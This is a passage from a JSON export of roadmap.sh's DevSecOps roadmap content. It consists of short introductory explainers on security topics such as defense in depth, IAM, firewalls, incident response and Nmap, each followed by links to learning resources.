attack?](https://www.youtube.com/watch?v=z503nLsfe5s)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/defense-in-depth-concepts@a4dYHrx1KzhKRtarZT1iy.md",
    "content": "# Defense in Depth\n\nDefense in Depth is a security approach that uses multiple layers of security controls to protect assets. If one security measure fails, others are in place to provide continued protection. This layered approach reduces the risk of a single point of failure compromising the entire system.\n\nVisit the following resources to learn more:\n\n- [@article@What is Defense in Depth?](https://www.fortinet.com/resources/cyberglossary/defense-in-depth)\n- [@article@What is Defense in Depth? Best Practices for Layered Security](https://www.wiz.io/academy/cloud-security/defense-in-depth)\n- [@video@Defense-in-Depth - CompTIA Security+](https://www.youtube.com/watch?v=HLQ4wX8NxQY)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/dependency-risk-management@AAd_X7gI-WA7Jh9FKsuE_.md",
    "content": "# Dependency Risk Management\n\nDependency Risk Management involves identifying, assessing, and mitigating the risks associated with using third-party libraries, frameworks, and other external components in software development. This includes understanding the potential vulnerabilities, licensing issues, and maintenance status of these dependencies to ensure the security and stability of the application. Effective dependency management helps prevent the introduction of known security flaws and ensures compliance with licensing requirements.\n\nVisit the following resources to learn more:\n\n- [@article@Dependency Risk Analysis](https://www.launchnotes.com/glossary/dependency-risk-analysis-in-product-management-and-operations)\n- [@article@OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/devsecops-vs-devops@SJa6UcRcgT08lF8Phnh0X.md",
    "content": "# DevSecOps vs. DevOps\n\nDevOps focuses on streamlining and automating the software development lifecycle, emphasizing collaboration between development and operations teams to deliver software faster and more efficiently. DevSecOps builds upon this foundation by integrating security practices and considerations throughout the entire DevOps pipeline, rather than treating security as a separate, end-of-cycle step. This means security is a shared responsibility from the initial planning stages to deployment and monitoring.\n\nVisit the following resources to learn more:\n\n- [@article@DevOps vs DevSecOps: Key Differences and Best Fit](https://roadmap.sh/devops/vs-devsecops)\n- [@article@DevOps vs DevSecOps: Differences and Similarities](https://www.browserstack.com/guide/what-is-the-difference-between-devops-and-devsecops)\n- [@video@What is DevSecOps? | DevOps vs DevSecOps | KodeKloud](https://www.youtube.com/watch?v=1XpUDV7PBFo)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/dns@TnDsOr1iJX3hY7vJRpp7S.md",
    "content": "# DNS\n\nDNS, or Domain Name System, is essentially the phonebook of the internet. It translates human-readable domain names, like \"example.com,\" into IP addresses, like \"192.0.2.1,\" which computers use to identify each other on the network. Without DNS, we'd have to remember and type in these numerical IP addresses every time we wanted to visit a website.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@article@Mess with DNS - DNS Playground](https://messwithdns.net/)\n- [@article@How DNS works (comic)](https://howdns.works/)\n- [@video@DNS and How does it Work?](](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@feed@Explore top posts about DNS](https://app.daily.dev/tags/dns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/docker@-OWtiqx4YbcOVhtYU0D69.md",
    "content": "# Docker Security\n\nDocker security entails protecting your applications and data within Docker containers. Because containers share the host operating system's kernel, vulnerabilities in the kernel or container configurations can be exploited. Securing Docker involves practices like using minimal base images, regularly scanning images for vulnerabilities, implementing strong access controls, and properly configuring Docker daemon settings to prevent unauthorized access and ensure isolation.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Docker Security](https://docs.docker.com/engine/security/)\n- [@article@Kubernetes Security Best Practices](https://www.aquasec.com/cloud-native-academy/kubernetes-in-production/kubernetes-security-best-practices-10-steps-to-securing-k8s/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/edr-strategy@A67WShi92I-TX0iK7Fv0L.md",
    "content": "# EDR Strategy\n\nEndpoint Detection and Response (EDR) strategy focuses on proactively identifying and mitigating threats on endpoint devices like laptops, servers, and workstations. It involves implementing tools and processes that continuously monitor these endpoints for suspicious activities, analyze the data to detect potential security incidents, and provide automated or manual response capabilities to contain and remediate threats. A well-defined EDR strategy helps organizations gain visibility into endpoint security posture and improve their ability to defend against advanced attacks."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/encryption@0ey7Spq4DoZ-AfXOsMtag.md",
    "content": "# Encryption\n\nEncryption is the process of converting readable data (plaintext) into an unreadable format (ciphertext) to protect its confidentiality. This is achieved using algorithms and cryptographic keys. Only authorized parties with the correct key can decrypt the ciphertext back into its original plaintext form, ensuring that sensitive information remains protected from unauthorized access or disclosure.\n\nVisit the following resources to learn more:\n\n- [@article@What is Encryption?](https://cloud.google.com/learn/what-is-encryption)\n- [@video@What is Encryption?](https://www.youtube.com/watch?v=9chKCUQ8_VQ)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/endpoint-detection@E2jGo4HeKaeuXYa9-f-vy.md",
    "content": "# Endpoint Detection\n\nEndpoint detection involves monitoring and analyzing activities on devices like laptops, desktops, and servers to identify suspicious behavior that could indicate a security threat. This process typically uses software agents installed on these endpoints to collect data, which is then analyzed for patterns and anomalies that might signal malware, unauthorized access, or other malicious activities. When a threat is detected, the system alerts security teams and may automatically take actions to contain or remediate the issue."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/enterprise-operations@68qVLExPlVrKJweTjd_S5.md",
    "content": "# Enterprise Operations\n\nEnterprise Operations encompasses all the activities and processes required to manage and maintain an organization's IT infrastructure, applications, and services. This includes tasks like system administration, network management, database administration, incident response, and ensuring the overall stability and performance of the IT environment that supports the business. It focuses on keeping the lights on and ensuring that the business can function effectively."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/firewalls@LV_uiNRdUi9OrmxQCdeGw.md",
    "content": "# Firewalls\n\nFirewalls are network security systems that monitor and control incoming and outgoing network traffic based on predetermined security rules. They act as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls analyze network packets and either allow or block them based on configured rules, helping to prevent unauthorized access to or from private networks.\n\nVisit the following resources to learn more:\n\n- [@article@What is Firewall?](https://www.checkpoint.com/cyber-hub/network-security/what-is-firewall/)\n- [@article@Types of Firewall](https://www.cisco.com/c/en_in/products/security/firewalls/what-is-a-firewall.html)\n- [@article@Uncomplicated Firewall (UFW)](https://dev.to/coder7475/uncomplicated-firewall-ufw-1638)\n- [@article@Why do we need Firewalls?](https://www.tutorialspoint.com/what-is-a-firewall-and-why-do-you-need-one)\n- [@video@Firewalls and Network Security - SimpliLearn](https://www.youtube.com/watch?v=9GZlVOafYTg)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/forensics@h_kjdN5uGNKLtJ3puQ9RH.md",
    "content": "# Forensics\n\nForensics, in the context of incident response, involves the systematic investigation and analysis of security incidents to understand what happened, how it happened, and who was involved. It's about gathering and preserving digital evidence to reconstruct events, identify root causes, and support potential legal or disciplinary actions. This process helps organizations learn from incidents, improve their security posture, and prevent future occurrences.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Digital Forensics (TryHackMe)](https://tryhackme.com/room/introdigitalforensics)\n- [@video@Digital Forensics](https://www.youtube.com/watch?v=UtDWApdO8Zk)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/go@UcBt4BsvLDlsnVy3KKJ1y.md",
    "content": "# Go Programming Language\n\nGo, often referred to as Golang, is a statically typed, compiled programming language designed at Google. Its simple syntax, efficient performance, and built-in concurrency features make it well-suited for building reliable and scalable tools and infrastructure components often used in DevSecOps pipelines. This includes tasks like automating security checks, building network tools, and creating efficient deployment systems.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit de Dedicated Rust Roadmap](https://roadmap.sh/golang)\n- [@official@Go](https://go.dev/)\n- [@official@Go Docs](https://go.dev/doc/)\n- [@official@Getting Started with Go](https://go.dev/doc/tutorial/getting-started)\n- [@article@Getting Started with Go and the Web](https://dev.to/markmunyaka/getting-started-with-go-and-the-web-hello-world-nal)\n- [@video@Golang 101 Crash Course: Learn Go Programming Fundamentals!](https://www.youtube.com/watch?v=S65k7Tubbck)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/http@WamX-UieM8NxhK6P_bDCB.md",
    "content": "# HTTP\n\nHTTP (Hypertext Transfer Protocol) is the foundation of data communication on the World Wide Web. It's an application-layer protocol that defines how clients (like web browsers) and servers communicate by exchanging messages. These messages consist of requests from the client and responses from the server, enabling the transfer of resources like HTML documents, images, and other web content.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@An overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@video@HTTP/1 to HTTP/2 to HTTP/3](https://www.youtube.com/watch?v=a-sBfyiXysI)\n- [@video@HTTP Crash Course & Exploration](https://www.youtube.com/watch?v=iYM2zFP3Zn0)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/iam@-RORxEsNvIPSlnM2TWB3j.md",
    "content": "# IAM\n\nIdentity and Access Management (IAM) is a framework of policies and technologies that ensures the right individuals and services have appropriate access to resources. It defines and manages user identities, authenticates them, and authorizes their access to specific resources based on predefined roles and permissions. This helps organizations control who can access what, when, and how, thereby reducing the risk of unauthorized access and data breaches.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Identity and Access Management (IAM)](https://auth0.com/docs/get-started/identity-fundamentals/identity-and-access-management)\n- [@article@What is identity and access management (IAM)?](https://www.ibm.com/think/topics/identity-access-management)\n- [@article@How to build an effective IAM architecture](https://www.techtarget.com/searchsecurity/feature/How-to-build-an-identity-and-access-management-architecture)\n- [@video@Identity & Access Management (IAM)](https://www.youtube.com/watch?v=aNj36g7fSsU)\n- [@video@Cybersecurity Architecture: Who Are You? Identity and Access Management](https://www.youtube.com/watch?v=5uNifnVlBy4)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/iam@JDglIowCyRjSoqCcNfkZr.md",
    "content": "# Identity and Access Management (IAM)\n\nIAM in cloud providers like AWS and GCP controls who can access what resources within your cloud environment. It lets you define users, groups, and roles, and then assign permissions to those roles. These permissions determine what actions users and services can perform, such as reading data from a database, creating virtual machines, or managing network configurations. IAM helps you enforce the principle of least privilege, granting only the necessary access to perform specific tasks, thereby minimizing the potential impact of security breaches.\n\nVisit the following resources to learn more:\n\n- [@article@AWS Identity and Access Management](https://aws.amazon.com/es/iam/)\n- [@article@What is IAM? - AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html)\n- [@article@Identity and Access Management documentation - GCP](https://docs.cloud.google.com/iam/docs)\n- [@video@AWS IAM Core Concepts You NEED to Know](https://www.youtube.com/watch?v=_ZCTvmaPgao)\n- [@video@IAM Explained in Google Cloud: Manage Access and Permissions](https://www.youtube.com/watch?v=iTY64is1-qk)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/identity-basics@iONpD135a4kd3zR5ufoTx.md",
    "content": "# Identity Basics\n\nIdentity basics involve establishing and managing digital identities for users, applications, and services within a system. This includes processes for authentication (verifying who someone is) and authorization (determining what they are allowed to access). Effective identity management ensures that only authorized entities can access specific resources, maintaining security and control over sensitive data and functionalities.\n\nVisit the following resources to learn more:\n\n- [@article@What is identity and access management (IAM)?](https://www.microsoft.com/en-us/security/business/security-101/what-is-identity-access-management-iam)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/ids@L3Mu6rCIu58VyhtxeyLXq.md",
    "content": "# Intrusion Detection Systems\n\nAn Intrusion Detection System (IDS) monitors a network or systems for malicious activity or policy violations. It analyzes network traffic, system logs, and other data sources to identify suspicious patterns that may indicate an attack or unauthorized access. When a threat is detected, the IDS alerts administrators, allowing them to investigate and respond to the incident.\n\nVisit the following resources to learn more:\n\n- [@article@What is Intrusion Detection Systems (IDS)](https://www.fortinet.com/resources/cyberglossary/intrusion-detection-system)\n- [@video@What Is Intrusion Detection System? | Intrusion Detection System (IDS) | Cyber Security |Simplilearn](https://www.youtube.com/watch?v=dfVAi87BSEs)\n- [@video@Intrusion Detection and Intrusion Prevention Systems](https://www.youtube.com/watch?v=_gHMkEKGwBM)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/image-scanning@bPmjX9IPL9Da0XUApY5UF.md",
    "content": "# Image Scanning\n\nImage scanning is the process of analyzing container images for known vulnerabilities, malware, and configuration issues. It involves examining the layers of the image, including the operating system, installed packages, and application code, against vulnerability databases and security policies. This helps identify potential risks before the image is deployed, ensuring a more secure container environment.\n\nVisit the following resources to learn more:\n\n- [@article@12 container image scanning best practices](https://www.sysdig.com/learn-cloud-native/12-container-image-scanning-best-practices)\n- [@article@OWASP DevSecOps Guideline - v-0.2](https://owasp.org/www-project-devsecops-guideline/latest/02f-Container-Vulnerability-Scanning)\n- [@article@Top 10 Container Scanning Tools for 2026](https://www.jit.io/resources/appsec-tools/container-scanning-tools-for-2023)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/incident-response@V5eQcby9FNcGv68KPj5rH.md",
    "content": "# Incident Response\n\nIncident Response is the structured approach an organization takes to address and manage the aftermath of a security breach or cyberattack. It involves identifying, analyzing, containing, eradicating, and recovering from incidents to minimize damage and reduce recovery time and costs. The goal is to restore normal operations as quickly and efficiently as possible while preventing similar incidents from occurring in the future.\n\nVisit the following resources to learn more:\n\n- [@article@What is incident response?](https://www.ibm.com/think/topics/incident-response)\n- [@article@What is Incident Response? Process, Frameworks, and Tools](https://www.bluevoyant.com/knowledge-center/what-is-incident-response-process-frameworks-and-tools)\n- [@video@Cybersecurity IDR: Incident Detection & Response | Google Cybersecurity Certificate](https://www.youtube.com/watch?v=MsGl6lX-YaI)\n- [@video@3 LEVELS of Cybersecurity Incident Response You NEED To Know](https://www.youtube.com/watch?v=vhCCo7ioDhA)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/input-validation-patterns@lq4nTMBniaxxwPvH5M77Z.md",
    "content": "# Input Validation Patterns\n\nInput validation patterns are techniques used to ensure that data entered into an application conforms to expected formats and values. These patterns involve checking the length, type, format, and range of user-supplied data before it's processed by the application. By implementing these patterns, developers can prevent malicious or malformed data from causing errors, security vulnerabilities, or unexpected behavior within the system.\n\nVisit the following resources to learn more:\n\n- [@article@Input Validation Cheat Sheet¶](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- [@article@Input Validation Using Design Patterns](https://medium.com/henrydchan/input-validation-using-design-patterns-9d7b96f87702)\n- [@article@Regular Expressions and Input Validation](https://blog.openreplay.com/regular-expressions-and-input-validations/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/introduction@-X3GTFpg3kzm0cELAngjb.md",
    "content": "# DevSecOps\n\nDevSecOps is an approach to software development that integrates security practices within the DevOps process. It emphasizes shared responsibility for security throughout the entire software lifecycle, from initial design to integration, testing, deployment, and software delivery. The goal is to build security into the development pipeline, rather than adding it as an afterthought, enabling faster and more secure software releases.\n\nVisit the following resources to learn more:\n\n- [@article@What is DevSecOps? - Red Hat](https://www.redhat.com/en/topics/devops/what-is-devsecops)\n- [@article@What is DevSecOps? - AWS](https://aws.amazon.com/what-is/devsecops/)\n- [@course@DevSecOps](https://www.skills.google/paths/76)\n- [@video@DevSecOps Course for Beginners – API Security](https://www.youtube.com/watch?v=JfiWi8RjN-8)\n- [@video@Everything you NEED to know about DevSecOps in 5 Minutes](https://www.youtube.com/watch?v=DTEaw2-Sa7I)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/ips@PYH_nc4bktIJoCJA6OC5E.md",
    "content": "# Intrusion Prevention Systems\n\nAn Intrusion Prevention System (IPS) is a network security tool that monitors network traffic for malicious activity. It actively works to block or prevent detected threats, going beyond simple detection to take automated action. This can include terminating malicious sessions, blocking specific IP addresses, or alerting administrators to potential security breaches.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Intrusion Prevention System?](https://www.paloaltonetworks.com/cyberpedia/what-is-an-intrusion-prevention-system-ips)\n- [@video@Intrusion Prevention System (IPS)](https://www.youtube.com/watch?v=7QuYupuic3Q)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/ir-lifecycle@X-pvSQnfB2W4992_3eOEy.md",
    "content": "# IR Lifecycle\n\nThe Incident Response (IR) Lifecycle is a structured approach to managing and resolving security incidents. It outlines the key phases involved, from initial preparation and detection to containment, eradication, recovery, and post-incident activity. This lifecycle ensures a consistent and effective response to security breaches, minimizing damage and restoring normal operations as quickly as possible.\n\nVisit the following resources to learn more:\n\n- [@article@Get to know the incident response lifecycle](https://www.atlassian.com/incident-management/incident-response/lifecycle#incident-response-lifecycle)\n- [@article@What is incident response?](https://www.ibm.com/think/topics/incident-response)\n- [@article@Incident Response Life Cycle](https://www.devo.com/threat-hunting-guide/incident-response-life-cycle/)\n- [@video@Incident Response Lifecycle | IR Plan | NIST SP 800-61 Security Incident Handling| Cybersecurity](https://www.youtube.com/watch?v=IRSQEO0koYY)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/iso-27001@JBNiSzYD8DSnKfHoKRjMg.md",
    "content": "# ISO 27001\n\nISO 27001 is an international standard that specifies the requirements for establishing, implementing, maintaining, and continually improving an Information Security Management System (ISMS). It provides a framework of policies and procedures that includes all legal, physical, and technical controls involved in an organization's information risk management processes. The standard helps organizations protect their information assets through a systematic approach to security."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/javascript--nodejs@BeUiBY18JHqCKVNtYAHH3.md",
    "content": "# JavaScript and Node.js\n\nJavaScript is a programming language primarily used for front-end web development, making websites interactive. Node.js, on the other hand, allows you to use JavaScript on the back-end, enabling server-side scripting and building scalable network applications. This means you can use JavaScript for both what the user sees and interacts with, and for the server logic that powers the application.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@roadmap@Visit Dedicated Node.js Roadmap](https://roadmap.sh/nodejs)\n- [@official@Introduction to Node.js](https://nodejs.org/en/learn/getting-started/introduction-to-nodejs)\n- [@opensource@You Don't Know JS Yet (book series)](https://github.com/getify/You-Dont-Know-JS)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript)\n- [@book@Eloquent JavaScript textbook](https://eloquentjavascript.net/)\n- [@video@JavaScript Crash Course for Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/key-management-service@l76yFl4lSXnxg5DBbnnID.md",
    "content": "# Key Management Service\n\nA Key Management Service (KMS) is a secure system for creating, storing, and managing cryptographic keys. It provides a centralized platform to control access to these keys, ensuring that sensitive data is protected through encryption. KMS solutions often include features like key rotation, auditing, and integration with other security tools to maintain the integrity and confidentiality of data.\n\nVisit the following resources to learn more:\n\n- [@article@AWS Key Management Service](https://docs.aws.amazon.com/kms/latest/developerguide/overview.html)\n- [@article@Cloud Key Management](https://cloud.google.com/security/products/security-key-management?hl=en)\n- [@video@What is AWS Key Management Service? | Amazon Web Services](https://www.youtube.com/watch?v=8Z0wsE2HoSo)\n- [@video@Encryption with Cloud KMS Keys - GCP](https://www.youtube.com/watch?v=WKZC93y-aWI)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/kubernetes@YveqgdX6eNRFC1zU_q7r1.md",
    "content": "# Kubernetes Security\n\nKubernetes is a system for managing containerized applications. Securing Kubernetes involves protecting the cluster itself, the containers running within it, and the data they access. This includes controlling access to the Kubernetes API, securing network communication between pods, managing secrets and configurations safely, and ensuring the container images used are free from vulnerabilities.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Kubernetes Roadmap](https://roadmap.sh/kubernetes)\n- [@official@Security](https://kubernetes.io/docs/concepts/security/)\n- [@article@Kubernetes Security Cheat Sheet¶](https://cheatsheetseries.owasp.org/cheatsheets/Kubernetes_Security_Cheat_Sheet.html)\n- [@article@7 Kubernetes Security Scanners to Use in Your DevSecOps Pipeline](https://thechief.io/c/editorial/7-kubernetes-security-scanners-to-use-in-your-devsecops-pipeline/)\n- [@article@Starboard: Putting all the Kubernetes Security Pieces into One Place](https://thenewstack.io/starboard-putting-all-the-kubernetes-security-pieces-into-one-place/)\n- [@article@Improve Security With Automated Image Scanning Through CI/CD](https://thenewstack.io/improve-security-with-automated-image-scanning-through-ci-cd/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/large-scale-identity-strategy@XRnxOPVChkGLQSXX-kUmi.md",
    "content": "# Large Scale Identity Strategy\n\nA large-scale identity strategy defines how an organization manages and controls digital identities across a vast and complex environment. This includes defining policies, processes, and technologies for creating, managing, and authenticating users and devices, ensuring secure access to resources while maintaining scalability and usability. It addresses challenges like diverse user populations, multiple applications and systems, and the need for consistent security controls across the entire organization.\n\nVisit the following resources to learn more:\n\n- [@article@Securing Identities in 2025 – The Future of Identity Governance](https://www.lumos.com/blog/future-of-identity-governance)\n- [@article@How modern identity strategies shape enterprise security](https://www.okta.com/blog/industry-insights/how-modern-identity-strategies-shape-enterprise-security/)\n- [@article@Identity Governance and Identity Management](https://identitymanagementinstitute.org/identity-governance-and-identity-management/)\n- [@article@What is Identity Governance and Administration (IGA)?](https://www.sailpoint.com/identity-library/identity-governance)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/learn-a-programming-language@v5FGKQc-_7NYEsWjmTEuq.md",
    "content": "# Programming Languages\n\nProgramming languages are the fundamental tools used to build and automate software systems. In DevSecOps, knowing how to code is important because it allows you to analyze code for vulnerabilities, automate security tasks, and integrate security checks directly into the development pipeline. Knowing the languages your applications are built with enables you to proactively identify and address security risks early in the software development lifecycle."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/least-privilege@rK-RToN5JRcclYl23TyYz.md",
    "content": "# Least Privilege\n\nLeast privilege is the concept of granting users or processes only the minimum level of access necessary to perform their required tasks. This means limiting access rights to only what is strictly needed, avoiding broad or unnecessary permissions. The goal is to reduce the potential damage that can result from accidental or malicious actions, such as data breaches or system compromises.\n\nVisit the following resources to learn more:\n\n- [@article@What Is the Principle of Least Privilege?](https://www.aquasec.com/cloud-native-academy/application-security/the-principle-of-least-privilege-polp/)\n- [@article@Intro to The Principle of Least Privilege (POLP)](https://www.crowdstrike.com/en-us/cybersecurity-101/identity-protection/principle-of-least-privilege-polp/)\n- [@article@Six ways to apply the principle of least privilege to your Active Directory](https://specopssoft.com/blog/six-ways-to-apply-the-principle-of-least-privilege-to-your-active-directory/)\n- [@video@What is the Principle of Least Privilege?](https://www.youtube.com/watch?v=8GZ6516Kao4)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/log-analysis@_Kr2_N8021tsZfa0wZ3Vu.md",
    "content": "# Log Analysis\n\nLog analysis involves collecting, reviewing, and interpreting computer-generated records (logs) to identify patterns, anomalies, and potential security threats. These logs contain information about system events, user activities, and application behavior, providing valuable insights into the overall health and security posture of an environment. By examining log data, organizations can detect suspicious activities, troubleshoot issues, and improve their security defenses.\n\nVisit the following resources to learn more:\n\n- [@article@What is log analysis?](https://www.ibm.com/think/topics/log-analysis)\n- [@article@Log Analysis: A Complete Introduction](https://www.splunk.com/en_us/blog/learn/log-analysis.html)\n- [@article@Log Management: What DevOps Teams Need to Know](https://devops.com/log-management-what-devops-teams-need-to-know/)\n- [@article@Introduction to Logs Management](https://sematext.com/guides/log-management)\n- [@video@How to MASTER Logs as a BEGINNER in Cybersecurity](https://www.youtube.com/watch?v=GpG19jOYQVo&t=66s)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/monitoring@MMTCo21ap15MrPV64vKka.md",
    "content": "# Monitoring\n\nMonitoring involves the systematic collection and analysis of data to track the performance, health, and security of systems and applications. It provides real-time visibility into the operational state, allowing teams to identify anomalies, detect potential issues, and proactively address them before they impact users or the overall system stability. This process typically involves setting up alerts and dashboards to visualize key metrics and logs, enabling quick response and informed decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@What’s IT Monitoring? IT Systems Monitoring Explained](https://www.splunk.com/en_us/blog/learn/it-monitoring.html)\n- [@article@IT Monitoring: An Introductory Guide With 5 Monitoring Strategies](https://www.suse.com/c/observability-it-monitoring-an-introductory-guide-with-5-monitoring-strategies/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/multi-region-security-planning@eALB73XbtnFF3-PYcLcZq.md",
    "content": "# Multi-Region Security Planning\n\nMulti-Region Security Planning involves designing and implementing security measures across multiple geographical locations where an application or service is deployed. This includes considering factors like data residency requirements, regional compliance regulations, and the potential for geographically isolated failures or attacks. The goal is to ensure consistent security posture and resilience, regardless of the region, while also optimizing for performance and cost.\n\nVisit the following resources to learn more:\n\n- [@article@7 Reasons to Have a Multi-Region Application Architecture](https://controlplane.com/community-blog/post/multi-region-application-architecture)\n- [@article@Day 9 : System Design concept : Multi-Region Deployment](https://medium.com/@shivanimutke2501/multi-region-deployments-3ea97c59d326)\n- [@article@How to build a multi-Region AWS Security Hub analytic pipeline and visualize Security Hub data](https://aws.amazon.com/blogs/security/how-to-build-a-multi-region-aws-security-hub-analytic-pipeline/)\n- [@video@AWS re:Invent 2022 - Global security at maximum velocity: Multi-Region and hybrid DevSecOps (PRT090)](https://www.youtube.com/watch?v=l3jLJq8bt1E)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/nessus@EqbzAy56Tu8asKNFzuti_.md",
    "content": "# Nessus\n\nNessus is a widely used vulnerability scanner that helps identify security weaknesses in computer systems, networks, and applications. It works by performing a variety of tests, including port scanning, service enumeration, and vulnerability identification, to detect potential security flaws. Nessus provides detailed reports on identified vulnerabilities, along with recommendations for remediation.\n\nVisit the following resources to learn more:\n\n- [@official@Nessus](https://www.tenable.com/products/nessus)\n- [@article@Get Started with Tenable Nessus](https://docs.tenable.com/nessus/Content/GetStarted.htm)\n- [@article@Nessus vulnerability scanner: Beginner’s guide](https://www.hackercoolmagazine.com/nessus-vulnerability-scanner-beginners-guide/?srsltid=AfmBOooPg3-kiYjXCcYQ3uyz0AwmLHnUpJ4Bs2u77HmhoDrA4EJKe7Nz)\n- [@article@Vulnerability Scanning with Nessus: A Practical Guide](https://www.infosectrain.com/blog/vulnerability-scanning-with-nessus-a-practical-guide/)\n- [@video@Nessus Vulnerability Scanner Tutorial (Cyber Security Tools)](https://www.youtube.com/watch?v=x87gbgQD4eg)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/network-segmentation@Cr0VAtdu0ZYPOkUU_7vjR.md",
    "content": "# Network Segmentation\n\nNetwork segmentation divides a network into smaller, isolated segments or subnetworks. This is done to improve security, performance, and manageability. By isolating sensitive data and systems, segmentation limits the impact of security breaches, reduces the attack surface, and simplifies compliance efforts.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Network Segmentation? - Cisco](https://www.cisco.com/site/us/en/learn/topics/security/what-is-network-segmentation.html)\n- [@article@What Is Network Segmentation?](https://www.paloaltonetworks.com/cyberpedia/what-is-network-segmentation)\n- [@video@What is Network Segmentation?](https://www.youtube.com/watch?v=ouvqTP3RajU)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/networking-basics@84HlHz8bHCDtAPGpq7LpX.md",
    "content": "# Networking Basics\n\nNetworking involves understanding how devices communicate with each other over a network. This includes concepts like IP addresses, which uniquely identify devices; protocols like TCP/IP, which govern data transmission; and network topologies, which describe the physical or logical arrangement of network components. Understanding these fundamentals is crucial for configuring, troubleshooting, and securing network infrastructure.\n\nVisit the following resources to learn more:\n\n- [@article@Khan Academy - Networking](ttps://www.khanacademy.org/computing/code-org/computers-and-the-internet)\n- [@video@Computer Networking Course - Network Engineering](https://www.youtube.com/watch?v=qiQR5rTSshw)\n- [@video@Networking Video Series (21 videos)](https://www.youtube.com/playlist?list=PLEbnTDJUr_IegfoqO4iPnPYQui46QqT0j)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/nist@yMb0-A55r1KEsLntOmp5F.md",
    "content": "# NIST Cybersecurity Framework\n\nThe NIST Cybersecurity Framework (CSF) is a voluntary framework primarily intended for organizations to manage and reduce cybersecurity risks. It provides a set of standards, guidelines, and best practices to help organizations assess their current cybersecurity posture, identify areas for improvement, and develop a roadmap for enhancing their security capabilities. The framework is structured around five core functions: Identify, Protect, Detect, Respond, and Recover, which are further broken down into categories and subcategories to provide a detailed and actionable approach to cybersecurity risk management."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/nmap-basics@JyXv5vPHCjSBc0J-PpUEV.md",
    "content": "# Nmap Basics\n\nNmap (Network Mapper) is a free and open-source utility used for network discovery and security auditing. It's used to discover hosts and services on a computer network by sending packets and analyzing the responses. Nmap provides information about host availability, operating systems, firewall status, and other network characteristics.\n\nVisit the following resources to learn more:\n\n- [@official@NMAP](https://nmap.org/)\n- [@article@NMAP Cheat Sheet](https://www.tutorialspoint.com/nmap-cheat-sheet)\n- [@video@Nmap Tutorial to find Network Vulnerabilities](https://www.youtube.com/watch?v=4t4kBkMsDbQ)\n- [@video@NMAP Full Guide (You will never ask about NMAP again)](https://www.youtube.com/watch?v=JHAMj2vN2oU&t=33s)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/nmap@0Tci_Ks8jXisin90VqB_D.md",
